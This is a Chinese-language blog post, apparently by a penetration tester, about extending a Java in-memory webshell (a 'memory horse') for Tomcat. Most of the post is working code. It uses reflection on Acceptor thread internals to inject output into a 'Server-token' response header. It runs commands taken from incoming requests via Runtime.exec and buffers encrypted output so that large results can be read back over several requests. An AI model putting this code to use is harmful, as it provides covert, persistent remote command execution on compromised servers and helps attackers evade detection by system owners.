前言
之前的内存马测试过程中曾出现回显字符串长度超过header头max-size的问题,本文算是做一个简单的解决方案。
正文
概念
volatile 是 Java 中的关键字,是一个变量修饰符,被用来修饰会被不同线程访问和修改的变量。
实现
修改内存马中的逻辑,在get cmd的操作处增加一层逻辑用于判断当前是执行命令还是读取回显。
思路很简单,直接见代码:
`......`` ` `public void getResponse(byte[] res) {` `try {` `Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));`` ` `for (Thread thread : threads) {` `if (thread != null) {` `String threadName = thread.getName();` `if (!threadName.contains("exec") && threadName.contains("Acceptor")) {` `Object target = getField(thread, "target");` `if (target instanceof Runnable) {` `try {`` ` `ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "this$0"), "handler"), "global"), "processors");` `for (Object tmp_object : objects) {` `try {` `RequestInfo request = (RequestInfo) tmp_object;` `Response response = (Response) getField(getField(request, "req"), "response");` `String a = new String(res, "UTF-8");` `response.addHeader("Server-token", a);` `Http11OutputBuffer buffer = (Http11OutputBuffer) getField(response, "outputBuffer");` `System.out.print("buffer add");` `return;` `} catch (Exception e) {` `continue;` `}` `}` `} catch (Exception var11) {` `continue;` `}`` ` `}` `}` `}` `}` `} catch (Exception ignored) {` `}` `}`` `` ` `public String GetRes(ByteBuffer buffer){//从buffer中读取回显` `int ResponseSize = 3000;//可从线程中获取header buffer的max-size来作为窗口大小,以加快读取速度。`` ` `try {` `byte[] a = new byte[ResponseSize];` `buffer.get(a);`` ` `if(a[0] == 0){` `return "";` `}`` ` `if(new String(a).indexOf(0) != -1){` `Arrays.fill(buffer.array(),(byte)0);` `buffer.position(0);` `return new String(a);` `}`` ` `return new String(a);``// }``// }` `} catch (Exception ignored) {` `}` `return "";` `}`` ` `public void PutResponse(String a , ByteBuffer buffer) {//将回显存入buffer` `try {` `Arrays.fill(buffer.array(),(byte)0);` `buffer.position(0);` `buffer.put(a.getBytes());` `buffer.position(0);` `return;` `} catch (Exception ignored) {` `}` `return;` `}`` ``......`` ``//对应内存马主逻辑修改` `String cmd = getRequest2();` `if (cmd.length()>0) {` `if(!cmd.startsWith("getting")){` `try {` `Runtime rt = Runtime.getRuntime();` `Process process = rt.exec(cmd);` `java.io.InputStream in = process.getInputStream();`` ` `java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);` `java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);` `String s = "";` `String tmp = "";` `while ((tmp = stdInput.readLine()) != null) {` `s += tmp;` `}` `if (s != "") {``// byte[] res = s.getBytes(StandardCharsets.UTF_8);` `PutResponse(encode(DEFAULT_SECRET_KEY,s),resbuffer);` `getResponse("done!");` `}`` ` `} catch (IOException e) {` `e.printStackTrace();` `}` `}` `else {` `String a = GetRes(resbuffer);` `getResponse(a);` `}` `}`` `` ` `this.execute(command, 0L, TimeUnit.MILLISECONDS);`
效果如下:
读取完成:
将获取的字符串拼接后解密:
后记
代码写的很粗糙,因为本身非java出身,相关的buffer读写让我很头疼,花了一下午赶工出来的代码,主要是想分享一下思路。
整体只是一个问题的临时解决方案,基于内存马或者其他用途,感觉也可用在某些request请求头过大的场景中。